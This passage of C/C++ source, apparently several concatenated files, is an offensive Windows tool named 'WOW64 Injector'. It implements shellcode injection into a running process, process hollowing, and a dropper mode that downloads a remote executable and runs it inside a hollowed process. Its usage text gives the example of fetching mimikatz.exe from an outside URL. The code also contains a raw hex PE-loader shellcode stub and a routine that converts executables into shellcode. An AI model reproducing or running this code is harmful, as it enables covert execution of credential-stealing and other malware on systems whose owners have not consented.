uint32_t remoteContext = getShadowContext32(PI.hProcess, CTX.Ebx);
WriteProcessMemory(PI.hProcess, LPVOID(remoteContext + offsetof(CONTEXT, Eip)), LPVOID(&shellcodeAddr), 4, 0);
WaitForSingleObject(PI.hProcess, INFINITE);
}
void inject(WORD pid, const BYTE* shellcode, DWORD shellcodeSize) {
auto hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
size_t shellcodeAddr = (size_t)VirtualAllocEx(hProc, 0, shellcodeSize, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, (void*)shellcodeAddr, shellcode, shellcodeSize, 0);
wprintf(L"[+] shellcode current at %x\n", shellcodeAddr);
auto peb = (PROCESS_BASIC_INFORMATION*)QueryProcessInformation(hProc, 0, sizeof(PROCESS_BASIC_INFORMATION));
auto k = getShadowContext32(hProc, (uint32_t)peb->PebBaseAddress) + offsetof(CONTEXT, Eip);
WriteProcessMemory(hProc, LPVOID(k), LPVOID(&shellcodeAddr), 4, 0);
}
int wmain(int argc, wchar_t** argv) {
if (argc < 3) {
wprintf(L"WOW64 Injector - Abusing WOW64 Layer to Inject, by aaaddress1@chroot.org\n");
wprintf(L"usage: ./wowInjector [option] [payload] [destination]\n");
wprintf(L" -- \n");
wprintf(L" ex#1 ./wowInjector injection C:/msgbox.exe [PID]\n");
wprintf(L" ex#2 ./wowInjector hollowing C:/msgbox.exe C:/Windows/SysWOW64/notepad.exe\n");
wprintf(L" ex#3 ./wowInjector dropper http://30cm.tw/mimikatz.exe C:/Windows/SySWOW64/cmd.exe\n");
wprintf(L"\n");
return 0;
}
bool mode_Dropper = !wcsicmp(argv[1], L"dropper"), mode_Inject = !wcsicmp(argv[1], L"injection"),mode_Hollowing = !wcsicmp(argv[1], L"hollowing");
PCHAR ptrToExe(0), ptrToShc(0); DWORD lenExe, lenShc;
if (mode_Inject || mode_Hollowing) {
wprintf(L"[?] read payload from %s\n", argv[2]);
if (readBinFile(argv[2], &ptrToExe, lenExe))
wprintf(L"[v] read sourece exe file ok.\n");
else
wprintf(L"[x] fail to read source exe file.\n");
}
else if (mode_Dropper) {
wprintf(L"[?] download payload from %s\n", argv[2]);
auto binPayload = httpRecv(argv[2]);
lenExe = binPayload->size();
ptrToExe = &(*binPayload)[0];
}
else
wprintf(L"[x] fail to fetch payload?\n");
if (ptrToShc = shellcodify(ptrToExe, lenExe, lenShc))
wprintf(L"[v] prepare payload shellcode okay.\n");
else
wprintf(L"[x] fail to transform exe to shellcode.\n");
if (mode_Inject) {
wprintf(L"[!] enter inject mode...\n");
int pid; swscanf(argv[3], L"%i", &pid);
wprintf(L"[$] process injection [pid = %i]\n", pid);
inject(pid, (PBYTE)ptrToShc, lenShc);
}
else if (mode_Hollowing) {
wprintf(L"[!] enter hollowing mode...\n");
wprintf(L"[$] process hollowing: %s\n", argv[2]);
hollowing(argv[3], (PBYTE)ptrToShc, lenShc);
}
else if (mode_Dropper) {
wprintf(L"[!] enter dropper mode...\n");
hollowing(argv[3], (PBYTE)ptrToShc, lenShc);
}
else wprintf(L"[!] unknown action?\n");
wprintf(L"\ndone.");
return 0;
}

//shellcodify.h
#pragma once
#include <Windows.h>
char stub32[] = "\x60\x6a\x30\x58\x64\x8b\x00\x8b\x40\x0c\x8b\x70\x0c\xad\x96\xad\x8b\x68\x18\xe8\x11\x00\x00\x00\x7a\x8e\x25\xe9\xff\x1f\x7c\xc9\x8d\xbd\xc1\x3f\x4a\x0d\xce\x09\x00\x5e\x89\xeb\x8b\x45\x3c\x03\x5c\x05\x78\x99\x89\xe8\x89\xef\x42\x03\x43\x20\x03\x3c\x90\x83\xc8\xff\x32\x07\x6a\x08\x59\xd1\xe8\x73\x05\x35\x20\x83\xb8\xed\xe2\xf5\x47\x38\x0f\x75\xeb\xf7\xd0\x39\x06\x75\xd7\x89\xef\x89\xe8\x03\x7b\x24\x0f\xb7\x3c\x57\x03\x43\x1c\x8b\x04\xb8\x01\xe8\x50\xad\x2a\x0e\x75\xbe\x8b\x74\x24\x34\x8b\x6e\x3c\x01\xf5\xb5\x30\x6a\x40\x51\xff\x75\x50\x6a\x00\xff\x54\x24\x10\x50\x89\xe3\x8b\x4d\x54\x89\xc7\x56\xf3\xa4\x5e\x66\x8b\x4d\x14\x8d\x54\x0d\x18\x66\x8b\x4d\x06\x97\x60\x03\x72\x14\x03\x7a\x0c\x8b\x4a\x10\xf3\xa4\x61\x83\xc2\x28\xe2\xee\x60\xb1\x80\x8b\x2c\x29\x85\xed\x74\x3b\x01\xfd\x8b\x4d\x0c\xe3\x34\x03\x0b\x51\xff\x53\x08\x91\x8b\x7d\x10\x8b\x75\x00\x85\xf6\x0f\x44\xf7\x03\x33\x03\x3b\xad\x85\xc0\x74\x14\x0f\xba\xf0\x1f\x72\x04\x03\x03\x40\x40\x51\x50\x51\xff\x53\x0c\x59\xab\xeb\xe7\x83\xc5\x14\xeb\xc7\x61\xb1\xa0\x8d\x54\x0d\x00\x03\x3a\x31\xc9\x60\x8b\x4f\x04\x83\xe9\x08\x99\x0f\xb7\x44\x17\x08\x50\x80\xe4\xf0\x80\xfc\x30\x58\x75\x12\x80\xe4\x0f\x03\x07\x03\x03\x8b\x30\x2b\x75\x34\x03\x33\x89\x30\x31\xc0\x85\xc0\x75\x22\x42\x42\x39\xd1\x7f\xd5\x61\x03\x4f\x04\x03\x7f\x04\x39\x4a\x04\x7f\xc1\x31\xc9\x51\x51\x49\x51\xff\x53\x10\x8b\x45\x28\x03\x03\xff\xd0\x8d\x63\x14\x61\xc2\x04\x00";
bool overwrite_hdr(BYTE* my_exe, size_t exe_size, DWORD raw) {
BYTE redir_code[] = "\x90" //"\x4D" //dec ebp
"\x90" //"\x5A" //pop edx
"\x90" //"\x45" //inc ebp
"\x90" //"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x5B" // pop ebx
"\x48\x83\xEB\x09" // sub ebx,9
"\x53" // push ebx (Image Base)
"\x48\x81\xC3" // add ebx,
"\x59\x04\x00\x00" // value
"\xFF\xD3" // call ebx
"\xc3"; // ret
size_t offset = sizeof(redir_code) - 8;
memcpy(redir_code + offset, &raw, sizeof(DWORD));
memcpy(my_exe, redir_code, sizeof(redir_code));
return true;
}
char* shellcodify(char* my_exe, DWORD exe_size, DWORD& out_size) {
out_size = 0;
size_t stub_size = sizeof(stub32);
size_t ext_size = exe_size + stub_size;
char* ext_buf = (char*)VirtualAlloc(0, ext_size, 0x3000, PAGE_EXECUTE_READWRITE);
if (!ext_buf)
return nullptr;
memcpy(ext_buf, my_exe, exe_size);
memcpy(ext_buf + exe_size, stub32, stub_size);
DWORD raw_addr = exe_size;
overwrite_hdr((PBYTE)ext_buf, ext_size, raw_addr);
out_size = ext_size;
return ext_buf;
}

//peb.h
#pragma once
#include <Windows.h>
#include <stdio.h>
typedef LONG PROCESSINFOCLASS;
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG ProcessInformationLength,OUT PULONG ReturnLength OPTIONAL);
typedef struct _PEB* PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
PVOID QueryProcessInformation(IN HANDLE Process,IN PROCESSINFOCLASS ProcessInformationClass,IN DWORD ProcessInformationLength) {
PROCESS_BASIC_INFORMATION* pProcessInformation = NULL;
pfnNtQueryInformationProcess gNtQueryInformationProcess;
ULONG ReturnLength = 0;
NTSTATUS Status;
HMODULE hNtDll;
if (!(hNtDll = LoadLibraryA("ntdll.dll"))) {
wprintf(L"Cannot load ntdll.dll.\n");
return NULL;
}
if (!(gNtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess"))) {
wprintf(L"Cannot load NtQueryInformationProcess.\n");
return NULL;
}
if ((pProcessInformation = (PROCESS_BASIC_INFORMATION*)malloc(ProcessInformationLength)) == NULL) { // Allocate the memory for the requested structure
wprintf(L"ExAllocatePoolWithTag failed.\n");
return NULL;
}
if ((Status = gNtQueryInformationProcess(Process, ProcessInformationClass, pProcessInformation, ProcessInformationLength, &ReturnLength))) { // Fill the requested structure
wprintf(L"NtQueryInformationProcess should return NT_SUCCESS (Status = %#x).\n", Status);
free(pProcessInformation);
return NULL;
}
if (ReturnLength != ProcessInformationLength) { // Check the requested structure size with the one returned by NtQueryInformationProcess
wprintf(L"Warning : NtQueryInformationProcess ReturnLength is different than ProcessInformationLength\n");
return NULL;
}
return pProcessInformation;
}

//http_download.h
#pragma once
#include <windows.h>
#include <Winhttp.h>
#pragma comment(lib, "winhttp.lib")
#include <fstream>
vector<char>* httpRecv(PWSTR url) {
vector<char>* binaryData = new vector<char>();
WCHAR sz_hostName[MAX_PATH], sz_reqPath[MAX_PATH]; int port = 0;
if (swscanf(wcsstr(url, L"//") + 2, L"%[^:]:%d%s", sz_hostName, &port, sz_reqPath) == 3); // parse url.
else if (swscanf(wcsstr(url, L"//") + 2, L"%[^/]%s", sz_hostName, sz_reqPath) == 2)
port = wcsstr(url, L"https") ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT;
else return binaryData;
wprintf(L"[v] send request -> %s:%i [Path = %s]\n", sz_hostName, port, sz_reqPath);
HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; // launch a http request.
hSession = WinHttpOpen(L"WinHTTP Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
hConnect = WinHttpConnect(hSession, sz_hostName, port, 0);
hRequest = WinHttpOpenRequest(hConnect, L"GET", sz_reqPath, NULL, WINHTTP_NO_REFERER, NULL, NULL);
if (!hRequest) return binaryData;
if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) or !WinHttpReceiveResponse(hRequest, NULL))
return binaryData;
char byteCache[4096] = { 0 }; // recv binary data.
for (DWORD dwRead(sizeof(byteCache)); dwRead == sizeof(byteCache); ) {
if (!WinHttpReadData(hRequest, byteCache, sizeof(byteCache), &dwRead)) return binaryData;
for (size_t x = 0; x < dwRead; x++) binaryData->push_back(byteCache[x]);
}
if (hRequest) WinHttpCloseHandle(hRequest); // clean up.
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
wprintf(L"[v] recv payload [size = %i] done.\n", binaryData->size());
return binaryData;
}